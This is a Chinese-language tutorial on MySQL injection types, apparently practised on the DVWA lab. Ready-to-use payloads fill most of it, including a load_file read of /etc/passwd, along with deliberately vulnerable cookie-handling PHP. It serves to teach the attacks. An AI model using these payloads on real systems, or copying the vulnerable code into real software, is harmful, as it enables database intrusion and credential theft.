MySQL 注入类型

联合注入

基于联合的 SQL 注入允许攻击者通过扩展原始查询返回的结果来从数据库中提取信息。

Union中的每个查询必须包含相同的列、表达式或者聚合函数,且列的数据类型必须兼容。

比如查询user表中的user_id为1和,那么相当于在数据库执行以下查询:

select * from users where user_id = 1 union select * from users where user_id = 2 ;

在dvwa的漏洞页面添加以下代码:

echo '<h4>'.$query.'</h4>';

然后在dvwa的sql注入页面注入以下语句,即可在页面中显示该注入语句在数据库执行的字符串:

1' union select 1,database() #

通过group_concat()分组拼接也可以获取内容:  

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
获取数据库中的表
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
获取表字段名
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

接下来就是简单的搜索表名、字段名、值:

1' union select 1,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1) #
1' union select 1,(select column_name from information_schema.columns where table_schema='dvwa'  and table_name='users' limit 4,1)
1' union select 1,(select password from dvwa.users limit 0,1)或(select user from dvwa.users limit 0,1)

报错注入

利用页面返回的Mysql报错信息,通过构造语句将数据从报错信息中带出。

各个可以使用的函数大致可以分为三类:

虚拟表主键重复报错

  • floor向下取整,返回小于或等于x的最大整数
1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

爆数据库
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆表
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆字段
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=表名 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
爆内容
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user_id,0x3a,password,0x23) FROM user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  • Updatexml(XML_document, XPath_string, new_value)改变文档中符合条件的节点的值

第一个参数:XML_document是String格式,为xml文档对象名

第二个参数:XPath_string (Xpath格式的字符串)  

第三个参数:new_value,String格式,替换查找到的符合条件的数据

因为UPDATEXML第二个参数需要Xpath格式的字符串,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),0x7e)
  • Extractvalue(XML_document, XPath_string)从目标XML中返回包含所查询值的字符串
1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+

几何函数报错

1' and geometrycollection((select * from(select * from(select user())a)b));
1' and multipoint((select * from(select * from(select user())a)b));
1' and polygon((select * from(select * from(select user())a)b));
1' and multipolygon((select * from(select * from(select user())a)b));
1' and linestring((select * from(select * from(select user())a)b));
1' and multilinestring((select * from(select * from(select user())a)b));
1 and (SELECT * FROM (SELECT NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)--
1 and (SELECT * FROM (SELECT NAME_CONST(user(),1),NAME_CONST(user(),1)) as x)--
1 and (SELECT * FROM (SELECT NAME_CONST(database(),1),NAME_CONST(database(),1)) as x)--

整型溢出报错

  • exp(x)  返回e的x次方
1' and exp(~(select * from(select user())a));
select ~0 将0取反,函数成功执行后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。
MySql5.5.5版本后整形溢出才会报错

得到表名:
select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

得到列名:
select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x));

检索数据:
select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');

读取本地文件:
select exp(~(select*from(select load_file('/etc/passwd'))a));
insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');

update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;

delete from users where id='1' or !(select*from(select user())x)-~0 or '';

盲注

盲注分为以下两类:

  • 时间盲注——通过页面响应时间判断
  • 布尔盲注——通过页面响应内容判断

布尔盲注

1' and left(database(),4)='dvwa' --+
1' and mid(database(),1,1)='d' --+
1' and ascii(mid(database(),1,1))='100'--+
1' and length(database())>=5--+判断库名长度
1' and substr(database(),1,1)='d'--+ 截取库名第一个字符
1 and 1=(if((user() regexp '^r'),1,0)) --+
1 and 1=(user() like 'r%25') --+

比如盲注猜测数据库名为dvwa时,响应的内容为正确内容:

而当我们更改数据库名后,则回显为错误内容:

时间盲注

1' and if(length(database())>=4,sleep(5),1)--+
1' and if(ascii(mid(database(),1,1))='100',sleep(5),1)--+

Benchmark():
select * from users where user_id= 1 and (if(ascii(substr(database(),1,1))=100,benchmark(100000000,sha(1)), null));
  • 通过笛卡尔积(将两个大表做乘积)来延迟时间也可:
现在,我们有两个集合A和B。
A = {0,1}     B = {2,3,4}
集合 A×B 和 B×A的结果集就可以分别表示为以下这种形式:
A×B = {(0,2),(1,2),(0,3),(1,3),(0,4),(1,4)};
B×A = {(2,0),(2,1),(3,0),(3,1),(4,0),(4,1)};
数据库表连接数据行匹配时所遵循的算法就是以上提到的笛卡尔积,表与表之间的连接可以看成是在做乘法运算
select * from guestbook join users
  • get_lock()设法使用字符串名称得到一个锁,超时为多少秒

当其他查询该字符串时,将会指定超时时间:

MariaDB [(none)]> select get_lock('snowwolf',10);
+-------------------------+
| get_lock('snowwolf',10) |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.002 sec)
  • rlike通过构造apad或者repead构造常字符串,加以计算量:
select concat (rpad (1,999999,a),rpad (1,999999,a),rpad(1,999999,a) ,rpad(1,999999,a) ,rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a) ,rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a),rpad(1,999999,a) ,rpad (1,999999,a),rpad(1,999999,a),rpad(1,999999,a )) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b';

堆叠注入

可以在一次查询中执行多个查询,类似于下面这样:

MariaDB [dvwa]> select * from users where user_id=1;select * from users where user_id=2;
+---------+------------+-----------+-------+----------------------------------+--------------------------------+---------------------+--------------+
| user_id | first_name | last_name | user  | password                         | avatar                         | last_login          | failed_login |
+---------+------------+-----------+-------+----------------------------------+--------------------------------+---------------------+--------------+
|       1 | admin      | admin     | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /DVWA/hackable/users/admin.jpg | 2022-11-10 12:59:17 |            0 |
+---------+------------+-----------+-------+----------------------------------+--------------------------------+---------------------+--------------+
1 row in set (0.000 sec)

+---------+------------+-----------+---------+----------------------------------+----------------------------------+---------------------+--------------+
| user_id | first_name | last_name | user    | password                         | avatar                           | last_login          | failed_login |
+---------+------------+-----------+---------+----------------------------------+----------------------------------+---------------------+--------------+
|       2 | Gordon     | Brown     | gordonb | e99a18c428cb38d5f260853678922e03 | /DVWA/hackable/users/gordonb.jpg | 2022-11-10 12:59:17 |            0 |
+---------+------------+-----------+---------+----------------------------------+----------------------------------+---------------------+--------------+
1 row in set (0.000 sec)

二次注入

二次注入是指攻击者将特殊字符串作为目标网站的个人ID或能上传到数据库保存的各个内容(如文件名)等等上传到目标网站的服务器,然后从带有查询功能的页面查询该特殊字符串的内容以触发sql注入。

比如我们访问该url:

http://192.168.8.156/sql/%e4%ba%8c%e6%ac%a1%e6%b3%a8%e5%85%a5/zhuce.php?username=woailuo’

会在数据库中插入一个注册的用户名:

当前端页面查询注册的ID后,就会触发sql注入,就可以在ID后添加注入语句了。

宽字节注入

宽字节注入是一种利用数据库编码和PHP转义函数的特性,绕过单引号转义的SQL注入攻击方法

原理:

在数据库中使用了宽字符集(如GBK,GB2312等),除了英文都是一个字符占两字节

MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围)

在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠%5c,变成%5c%27

可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字

%5c被吃掉了,单引号由此逃逸可以用来闭合语句

举个小栗子:

当前查询语句如下

SELECT * FROM users WHERE username='$username' AND password='$password';

其中$username和$password是用户输入的参数,如果PHP开启了magic_quotes_gpc,那么这些参数会被自动转义,例如输入’admin’,会变成’admin’,从而防止SQL注入。但是,如果我们输入%df’,经过URL解码和转义后,会变成诚’,其中诚是一个汉字,由%df%5c组成,’是单引号,由%27组成。这样,查询语句就变成了:

SELECT * FROM users WHERE username='诚'' AND password='';

由于单引号没有闭合,导致语法错误,从而暴露了注入点。接下来,我们可以构造恶意的语句,例如%df’ OR 1=1 #,经过URL解码和转义后,会变成诚’ OR 1=1 #,其中#是注释符,可以忽略后面的语句。这样,查询语句就变成了:

SELECT * FROM users WHERE username='诚' OR 1=1 #' AND password='';

由于OR 1=1是恒真条件,导致查询结果返回所有用户的信息,从而实现了SQL注入

当然,也可以使用其它字符:

  • %bf%27:这是字节序列的 URL 编码表示形式0xbf27。在 GBK 字符集中,0xbf27解码为有效的多字节字符,后跟单引号 (‘)。当 MySQL 遇到这个序列时,它会将其解释为单个有效的 GBK 字符,后跟单引号,从而有效地结束字符串。
  • %bf%5c:表示字节序列0xbf5c。在 GBK 中,这会解码为有效的多字节字符,后跟反斜杠 ( \)。这可用于转义序列中的下一个字符。
  • %a1%27:表示字节序列0xa127。在 GBK 中,这会解码为有效的多字节字符,后跟单引号 ( ‘)。
  • %df’%23:忘了
  • %df%27:诚

Cookie注入

在某些网站中,程序会将用户的输入参数保存在Cookie中,然后用这些参数来构造SQL语句,从而实现对数据库的查询或更新。如果程序没有对Cookie中的参数进行过滤或转义,那么攻击者就可以通过修改Cookie中的参数,插入恶意的SQL语句,从而实现对数据库的注入

<?php
  $id = $_COOKIE['id'];
  $value = "1";
  setcookie("id",$value);
  $con=mysqli_connect("127.0.0.1","dvwa","123qwe","dvwa");
  if (mysqli_connect_errno())
  {
        echo "连接失败: " . mysqli_connect_error();
  }
  $result = mysqli_query($con,"select * from users where `user_id`=".$id);
  if (!$result) {
    printf("Error: %s\n", mysqli_error($con));
    exit();
  }
  $row = mysqli_fetch_array($result);
  echo $row['user'] . " : " . $row['password'];
  echo "<br>";
?>

XFF注入

攻击者可以利用XFF头来绕过单引号转义,因为程序可能会将XFF头的值作为IP地址直接拼接到SQL语句中,而不进行任何过滤或转义